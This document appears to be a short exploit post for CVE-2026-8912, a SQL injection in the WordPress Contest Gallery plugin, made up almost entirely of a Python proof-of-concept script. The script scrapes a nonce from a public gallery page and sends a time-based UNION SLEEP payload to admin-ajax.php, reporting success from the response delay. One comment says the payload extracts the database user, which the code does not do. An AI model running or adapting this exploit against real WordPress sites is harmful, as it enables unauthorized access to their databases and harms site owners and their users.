CVE-2026-8912 WordPress Contest Gallery SQL注入漏洞

import requests import re # Configuration target_url = "http://example.com/" nonce_pattern = r"cg_nonce.*?value\s*=\s*['\"](.*?)['\"]" # Step 1: Get the Nonce from the public gallery page try: response = requests.get(target_url) nonce = re.search(nonce_pattern, response.text).group(1) print(f"[+] Found Nonce: {nonce}") except Exception as e: print(f"[-] Failed to retrieve Nonce: {e}") exit() # Step 2: Prepare the SQL Injection payload # The payload attempts to extract the database user using a conditional-based injection # exploiting the unquoted $f_input_id in the SELECT statement. payload = "1 UNION SELECT SLEEP(5) -- -" data = { "action": "post_cg_gallery_form_upload", "cg_nonce": nonce, "form_input": payload, "option": "com_cg_gallery" } # Step 3: Send the malicious request ajax_url = f"{target_url}/wp-admin/admin-ajax.php" print(f"[*] Sending payload to {ajax_url}...") r = requests.post(ajax_url, data=data) if r.elapsed.total_seconds() >= 5: print("[+] SQL Injection successful! Response delayed.") else: print("[-] Injection failed or payload incorrect.") print("Response content:", r.text[:200])